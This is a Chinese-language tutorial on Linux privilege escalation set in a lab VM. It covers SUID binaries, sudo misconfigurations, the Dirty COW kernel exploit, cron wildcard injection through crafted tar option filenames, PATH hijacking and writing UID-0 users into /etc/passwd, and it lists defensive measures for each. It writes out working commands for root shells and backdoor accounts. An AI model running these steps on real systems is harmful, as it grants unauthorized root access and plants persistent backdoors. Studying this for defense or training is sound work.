Linux提权

简介:

Linux提权的本质是利用系统配置错误、程序漏洞或设计缺陷,使一个低权限用户(如普通用户)获得执行高权限操作(通常是root权限)的能力。每种提权方式都利用了不同的攻击面

SUID提权

什么是SUID?

SUIDSet User ID 的缩写,是Linux/Unix系统中一种特殊的文件权限。它的核心作用是:当用户执行一个带有SUID权限的程序时,该程序会以文件所有者(通常是root)的身份运行,而不是以当前执行用户(普通用户)的身份运行

方式总结

  • 核心原理:利用设置了SUID位的可执行文件。当一个程序设置了SUID位后,任何用户在执行该程序时,其进程的有效用户ID会临时变为该程序所有者的UID。如果该程序所有者是root,那么执行者就获得了root权限。

  • 攻击场景:管理员错误地给一个本不该有高权限的程序(如find, vim, cp等)设置了SUID权限,或者这些程序本身存在可以被利用的功能(如调用shell)。

给文件添加SUID权限:

1
2
3
4
5
chmod u+s 文件名

u = user(文件所有者)
+ = 添加权限
s = SUID权限

示例:

/usr/bin/find命令添加SUID权限,使其可以被普通用户利用来提权

  • 1.切换到root用户:
1
sudo su
  • 2.为find命令添加SUID权限
1
2
3
4
5
6
7
8
# 首先确认find的原始权限
ls -alh /usr/bin/find
# 输出通常为 -rwxr-xr-x,没有s位
# 添加SUID权限
chmod u+s /usr/bin/find
# 再次确认权限
ls -alh /usr/bin/find
# 输出应变为 -rwsr-xr-x,注意执行位的 's'

  • 3.创建普通用户用于测试:
1
2
3
4
# 如果没有普通用户,先创建一个
useradd -m testuser
passwd testuser
# 设置密码

切换到普通用户 su - testuser

执行查找命令 find / -perm -u=s -type f 2>/dev/null,应该能看到 /usr/bin/find 出现在列表中

验证权限:


  • 提权关键:找到一个具有SUID权限的程序,并利用它执行一个系统命令或启动一个shell。
  • 防御措施
    • 定期审计系统中的SUID文件:find / -perm -4000 -type f 2>/dev/null
    • 移除非必要文件的SUID权限:chmod u-s /path/to/file
    • 确保只有绝对必要的程序(如passwd, sudo, su)拥有SUID权限

sudo提权

方式总结:

  • 核心原理Sudo提权是Linux提权中非常常见的一种方式,核心思路是:利用/etc/sudoers配置文件的错误配置,让普通用户能够以root权限执行某些危险命令,从而获得完整的root shell
  • 攻击场景
    1. 无密码执行特定程序testuser ALL=(ALL) NOPASSWD: /usr/bin/python
    2. 无密码执行所有命令testuser ALL=(ALL) NOPASSWD: ALL (极其危险)。
    3. 利用程序自身功能:如less, vim, more等程序在sudo执行时,可以通过其内部的shell执行功能(如!bash)来获取一个root shell。

示例:

  1. 手动编辑/etc/sudoers文件,模拟配置文件出错

    1
    2
    3
    4
    5
    6
    7
    8
    # 使用vim命令进行编辑,它会在保存前检查语法,防止锁死系统
    vim /etc/sudoers

    在文件末尾添加以下两行:
    # 允许testuser无密码执行python
    testuser ALL=(ALL) NOPASSWD: /usr/bin/python
    # 允许testuser无密码执行less
    testuser ALL=(ALL) NOPASSWD: /usr/bin/less

testuser 用户/组 指定规则应用的用户
ALL 主机名 在所有主机上生效(通常是ALL)
=(ALL) 目标用户 可以以任何用户身份执行(通常省略为root)
NOPASSWD: 免密码标签 执行sudo时不需要输入密码
/usr/bin/python 命令路径 允许执行的具体命令

添加这个配置后普通用户testuser可以执行:sudo /usr/bin/python xxx.py/usr/bin/less,并且不需要输入提升为root用户权限的密码,但这里的演示仅限于/usr/bin/python/usr/bin/less

执行命令:

切换到普通用户 su - testuser

  • 验证sudo权限:sudo -l,应该能看到刚才配置的两条规则
  • 执行提权命令 sudo python -c 'import pty;pty.spawn("/bin/bash")',应该能获得root shell
1
2
3
4
5
6
7
8
9
10
11
原理:python是一个完整的编程语言解释器,本身就具备执行操作系统命令的能力。用sudo让它以root身份运行,它执行的任何命令自然都拥有root权限

代码解析:

-c:告诉Python解释器,执行后面引号内的代码

import pty:导入pty模块,它专门用于创建伪终端,能让新启动的shell更稳定

pty.spawn("/bin/bash"):这是最关键的一步。spawn函数会启动一个程序(此处是/bin/bash),并将当前终端连接到这个新程序。由于整个python进程是root身份,所以它启动的/bin/bash也是root shell

一句话总结:你给了root权限去运行一个“命令处理器”,它自然能帮你启动一个root权限的shell

如图所示,执行之后由普通用户testuser变为了root

  • 执行提权命令 sudo less /etc/hosts,在less界面输入!bash并回车,也能获得root shell

1
2
3
4
5
6
7
8
9
10
11
原理:less是一个文本查看器,为了方便用户操作,它内置了可以执行外部shell命令的功能。用sudo以root身份运行less后,它内部调用的任何命令都会继承root权限

操作解析:

sudo less /etc/hosts:以root权限打开一个文件

!bash:在less的命令行模式中(通常按:进入),!符号用于执行一个外部的shell命令。这里!bash的意思就是“执行bash程序”

同样,因为less进程拥有root权限,它通过!启动的bash也是一个root shell

一句话总结:你给了root权限去运行一个“文件查看器”,而这个查看器恰好有“去执行其他程序”的功能

  • 提权关键:查看sudo -l,找到自己被允许执行的命令,并研究如何通过该命令绕过限制执行任意代码或获取shell。
  • 防御措施
    • 严格编写/etc/sudoers文件,遵循最小权限原则。
    • 避免使用NOPASSWD,除非在高度受控的自动化环境中。
    • 避免直接授权脚本解释器(如python, perl, bash)。
    • 使用visudo编辑文件,避免语法错误。

内核漏洞提权

方式总结

  • 核心原理COW机制的逻辑缺陷

    Linux内核的**写时复制(Copy-On-Write)**机制规定:

    • 当多个进程共享同一块只读内存页时,如果某个进程要写入数据,内核会为该进程创建一份独立的物理页副本,然后允许写入。
    • 但脏牛漏洞利用的是:在创建副本的过程中,内核存在一个竞争条件窗口。攻击者可以通过多线程并发操作,让内核在极短的时间内,错误地将原本只读的页标记为可写,从而直接修改原始内存页内容。
  • 攻击场景:目标系统长期未更新,运行着一个存在已知漏洞的旧版内核


示例

  • 1.选择目标虚拟机:推荐使用一个旧版本的Ubuntu,例如 Ubuntu 16.04.1。这个版本默认搭载的内核版本(如4.4.0-21)受“脏牛”(CVE-2016-5195)漏洞影响

  • 2.安装虚拟机:在VirtualBox或VMware中安装Ubuntu 16.04.1。安装时不要选择在线更新,以保持其原始内核版本

  • 3.确认内核版本:

1
2
uname -a
# 确认内核版本低于4.8.0,例如 Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP ...
  • 4.操作

在Kali上,使用searchsploit搜索“脏牛”漏洞:searchsploit dirty cow

选择一个可靠的EXP,例如40847.c40839.cpp

将EXP文件下载或传输到目标Ubuntu虚拟机中(可以使用scpwget或直接复制粘贴)

在Ubuntu上编译并执行EXP:

1
2
3
# 假设EXP文件名为40847.c
gcc -pthread 40847.c -o dirtycow
./dirtycow

如果EXP成功运行,它会修改/etc/passwd文件,将firefart用户(或其他指定用户)的密码清空或设置为新密码,并赋予其root权限。之后su firefart即可登录root shell

1
2
3
4
5
6
7
8
9
10
11
12
篡改/etc/passwd实现提权
/etc/passwd文件被映射到内存中的只读页。一旦EXP通过上述竞争条件成功修改了该页:

程序会将/etc/passwd中的root用户行替换为:

text
firefart::0:0:root:/root:/bin/bash
或者将root的密码字段清空

因为UID=0,系统识别该用户为root权限

执行su firefart时,密码为空或为新设定的密码,直接获得root shell

  • 提权关键
    1. 信息收集:获取系统内核版本(uname -a)、发行版信息(lsb_release -acat /etc/os-release
    2. 漏洞搜索:在Kali攻击机上,使用searchsploit或在线漏洞数据库(如Exploit-DB)查找对应内核版本的提权EXP(漏洞利用代码)
    3. 编译与执行:将EXP代码传输到目标机,进行编译(通常是C语言),然后执行。如果成功,将获得root权限
  • 防御措施
    • 及时更新系统:这是最根本、最有效的防御方法。sudo apt update && sudo apt upgrade (Ubuntu) 或 sudo yum update (CentOS)
    • 内核安全模块:启用SELinux或AppArmor等,可以增加漏洞利用的难度
    • 最小化安装:减少不必要的内核模块和软件包,降低攻击面

Cronjobs 提权

方式总结

  • 核心原理:利用cron定时任务配置中的错误。cron 是 Linux/Unix 系统下一个基于时间的任务调度器。它的核心功能就是让系统在指定的时间周期性地自动执行预定的命令或脚本

  • 攻击场景

    1. 通配符注入:一个以root权限运行的cron任务中使用了通配符(如*),并且调用了可以被参数劫持的命令(如tar, rsync, chmod)。攻击者可以创建带有特殊名称的文件(如--checkpoint-action=exec=sh script.sh),这些文件名会被命令误认为是参数,从而执行恶意代码

    示例:

    场景:

    1
    2
    3
    4
    系统里有一个Cron任务,以root身份定时执行 tar -czf /backup.tar.gz /data/*
    把 /data/ 目录下的所有文件打包压缩成一个名为 /backup.tar.gz 的归档文件

    他对 /data/ 目录有写入权限(可以创建文件)

    1.创建两个特殊文件

    /data/ 目录下,攻击者执行以下命令:

    bash

    1
    2
    touch -- --checkpoint=1
    touch -- '--checkpoint-action=exec=sh /tmp/evil.sh'

    这两个文件名看起来很奇怪,但它们是合法的Linux文件名。-- 的作用是告诉命令“后面的内容不要当作选项解析”,只是为了正常创建文件。

    现在 /data/ 目录下有了三个文件:

    • 正常的文件(比如 file1.txt
    • --checkpoint=1
    • --checkpoint-action=exec=sh /tmp/evil.sh

    2.等待Cron任务执行

    到了晚上12点,Cron任务触发,Shell开始执行这条命令:

    1
    tar -czf /backup.tar.gz /data/*

    但在执行 tar 之前,Shell先把 /data/* 展开成该目录下所有文件的名字:

    1
    tar -czf /backup.tar.gz /data/file1.txt /data/--checkpoint=1 /data/--checkpoint-action=exec=sh /tmp/evil.sh

    3.tar命令被“欺骗”

    tar 命令收到这些参数时,它看到的不是“三个文件”,而是:

    • 要打包的文件:/data/file1.txt
    • 一个选项参数:--checkpoint=1
    • 一个选项参数:--checkpoint-action=exec=sh /tmp/evil.sh

    --checkpoint=1 的意思是“每处理完1个文件后触发一次检查点”,--checkpoint-action=exec=sh /tmp/evil.sh 的意思是“在检查点触发时执行 /tmp/evil.sh 这个脚本”。

    于是,tar 在正常打包 file1.txt 的过程中,就“奉命”以 root 权限去执行了 /tmp/evil.sh

    4.恶意脚本获得root权限

    攻击者早就把 /tmp/evil.sh 写好了,比如:

    1
    2
    3
    4
    #!/bin/bash
    # 添加一个root权限的用户
    useradd -o -u 0 -g 0 hack
    echo "hack:123456" | chpasswd

    因为这个脚本是被 root 权限的 tar 调用的,所以它执行时也拥有 root 权限,于是攻击者成功在系统里创建了一个 UID=0 的超级用户,提权完成

    2.可写脚本/目录:可写脚本和目录的利用,是利用文件权限配置错误实现的提权方式。其核心逻辑非常直接:找到一个以root身份定期执行的脚本文件,或者该脚本所在的目录,而你有权限修改它们,那你就能让脚本执行任何你想要的恶意代码


场景:如果Cron任务直接调用了一个脚本,而这个脚本文件对普通用户开放了写入权限,攻击过程就很简单

假设管理员设置了一个Cron任务,每天凌晨3点执行清理日志的脚本:

1
0 3 * * * /usr/local/bin/cleanup_logs.sh

而这个 cleanup_logs.sh 文件,权限设置错误,允许所有用户写入:

1
2
3
# 比如权限是 666 或 777
ls -l /usr/local/bin/cleanup_logs.sh
-rwxrwxrwx 1 root root 120 Jun 20 10:00 cleanup_logs.sh

攻击者(普通用户)可以执行以下操作:

  1. 编辑该脚本,在末尾追加恶意代码:
1
echo "useradd -o -u 0 hack && echo 'hack:123456' | chpasswd" >> /usr/local/bin/cleanup_logs.sh
  1. 等待Cron在凌晨3点自动执行这个脚本。
  2. 因为脚本是以root身份运行的,追加的 useradd 命令也会以root权限执行,从而在系统中创建一个UID=0的超级用户 hack
  3. 攻击者用 su hack 切换到该用户,密码为 123456,即可获得root shell

  • 提权关键:找到存在配置缺陷的cron任务,并利用该缺陷植入后门或直接执行提权命令。
  • 防御措施
    • cron任务中,避免使用通配符,如果必须使用,请使用完整路径。
    • 确保cron任务执行的脚本和目录权限严格,仅对root可写。
    • 在脚本中使用绝对路径,避免PATH劫持。

环境变量提权

方式总结

  • 核心原理:劫持$PATH环境变量。当一个SUID程序或sudo执行的脚本内部调用了一个不带绝对路径的命令时,系统会根据$PATH变量的顺序来查找该命令。攻击者可以修改$PATH,将一个恶意程序放在优先查找的目录中,从而诱骗高权限程序执行恶意代码

  • 攻击场景:一个具有SUID权限的程序(由管理员自己编写或编译)在代码中调用了系统命令(如cat, ls)但未使用绝对路径(如/bin/cat)。

环境变量:

PATH 是Linux系统里的一个重要环境变量,它存储了一串目录路径,用冒号分隔:

1
2
echo $PATH
/home/kali/.local/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/kali/.dotnet/tools

当我们在终端输入一个命令(比如 ls)时,系统会按照 PATH 中列出的目录顺序,逐个去这些目录下查找名为 ls 的可执行文件,找到就执行。如果都没有找到,就报错 command not found

关键点:查找顺序是从左到右的。靠前的目录优先级更高。


示例:

假设管理员设置了一个Cron任务,每天凌晨3点执行一个名为 backup.sh 的脚本:

1
0 3 * * * backup.sh

注意:这里写的是 backup.sh 而不是 /usr/local/bin/backup.sh,也就是说没有使用绝对路径

系统在执行这个Cron任务时,会按照Cron的 PATH 环境变量(通常定义在 /etc/crontab 或系统默认配置中)去查找 backup.sh。默认情况下,这个 PATH 是:

1
PATH=/usr/local/bin:/usr/bin:/bin

利用:

  • 1.在 /usr/local/bin/ 目录下,攻击者创建了一个名为 backup.sh 的脚本:
1
2
3
cd /usr/local/bin/
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash' > backup.sh
chmod +x backup.sh

这个脚本的作用是:把 /bin/bash 复制一份到 /tmp/rootbash,然后给它设置 SUID 权限(+s)。一旦设置成功,任何用户运行 /tmp/rootbash 时,都会以文件所有者(即root)的身份运行

  • 2.等待Cron触发

到了凌晨3点,Cron任务 backup.sh 触发。系统按照 PATH 的顺序查找:

  • 先去 /usr/local/bin 找 → 找到了攻击者创建的 backup.sh
  • 直接执行它(以root权限)

因为Cron以root身份运行,所以这个恶意脚本也是以root权限执行的。

  • 3.攻击者获得root shell

攻击者在普通用户Shell中执行:

1
/tmp/rootbash -p

-p 参数让bash保留SUID权限,于是攻击者就得到了一个root身份的Shell,提权成功。

完整流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
管理员配置了Cron任务: backup.sh (使用相对路径)

攻击者发现 /usr/local/bin 可写,且该目录在PATH中靠前

攻击者在 /usr/local/bin 下创建恶意 backup.sh

Cron任务触发,系统按PATH顺序查找backup.sh

系统找到攻击者创建的 /usr/local/bin/backup.sh (而非真正的系统脚本)

Cron以root权限执行该恶意脚本

恶意脚本生成一个带SUID权限的bash副本

攻击者运行该bash副本,获得root shell

  • 提权关键
    1. 找到一个存在此缺陷的SUID程序。
    2. 修改$PATH环境变量,将一个可控目录(如/tmp)置于最前。
    3. 在该目录下创建一个与程序调用的命令同名的恶意文件(如cat)。
    4. 执行SUID程序,它会优先执行你的恶意cat
  • 防御措施
    • 在编写SUID程序或sudo脚本时,始终使用命令的绝对路径
    • 在脚本开始时,可以重置或清理$PATH变量为一个安全的值,如PATH=/bin:/sbin:/usr/bin:/usr/sbin

etc/passwd提权

方式总结

  • 核心原理:攻击者通过某种方式获得了对 /etc/passwd 文件的写入权限,然后直接修改该文件,添加一个 UID=0 的用户或修改 root 用户的密码占位符,从而获得 root 权限
  • 攻击场景:系统管理员错误地执行了chmod 666 /etc/passwd或类似操作,导致该文件全局可写。这种情况在现代系统中极为罕见,因为/etc/passwd的写权限受到严格保护,且用户密码实际存储在/etc/shadow

/etc/passwd 是Linux系统中存储用户账户信息的核心文件。它记录了系统中所有用户的基本信息,每行代表一个用户,格式如下:

text

1
用户名:密码占位符:UID:GID:用户描述:家目录:登录Shell

利用:

  • 一:直接添加一个新的 root 用户

/etc/passwd 末尾追加一行:

1
hack::0:0:root:/root:/bin/bash

注意:这里的密码占位符是空的(两个冒号之间没有任何内容),意味着这个用户没有密码。

验证

bash

1
su hack

直接回车,不需要密码,即可获得 root 权限(因为 UID=0)。

二:修改 root 用户的密码占位符

如果 root 用户的密码占位符是 x,说明密码存储在 /etc/shadow 中。攻击者可以:

  1. 先用 openssl 生成一个已知密码的哈希值:
1
openssl passwd -1 -salt abc 123456

输出类似:

1
$1$abc$6NlI7ZbH.CdE5lM5dZ5wN1
  1. 然后修改 /etc/passwd 中的 root 行,把密码占位符替换成这个哈希值:
1
root:$1$abc$6NlI7ZbH.CdE5lM5dZ5wN1:0:0:root:/root:/bin/bash
  1. 然后攻击者可以用 su root 并输入密码 123456 来登录 root
  • 三:利用可写密码字段(较古老的手法)

在非常古老的Unix系统上,/etc/passwd 的第二字段直接存储加密后的密码(而不是 x)。如果攻击者能写入该字段,就能直接修改密码。

现代Linux系统已经改用 /etc/shadow 单独存储密码哈希,且只有root可读,所以这种手法在默认配置下已不适用。


  • 提权关键
    1. 确认/etc/passwd文件可写。
    2. 生成一个符合格式的、UID/GID为0的密码哈希。
    3. 将新用户条目追加到/etc/passwd文件末尾。
    4. 使用新创建的用户名和密码登录。
  • 防御措施
    • 确保/etc/passwd文件权限为-rw-r--r--(644),且所有者为root。
    • 使用/etc/shadow文件来存储密码,并确保其权限为-rw-r-----(640),仅root和shadow组成员可读。
    • 定期检查关键系统文件的权限和完整性(可使用AIDETripwire等工具)。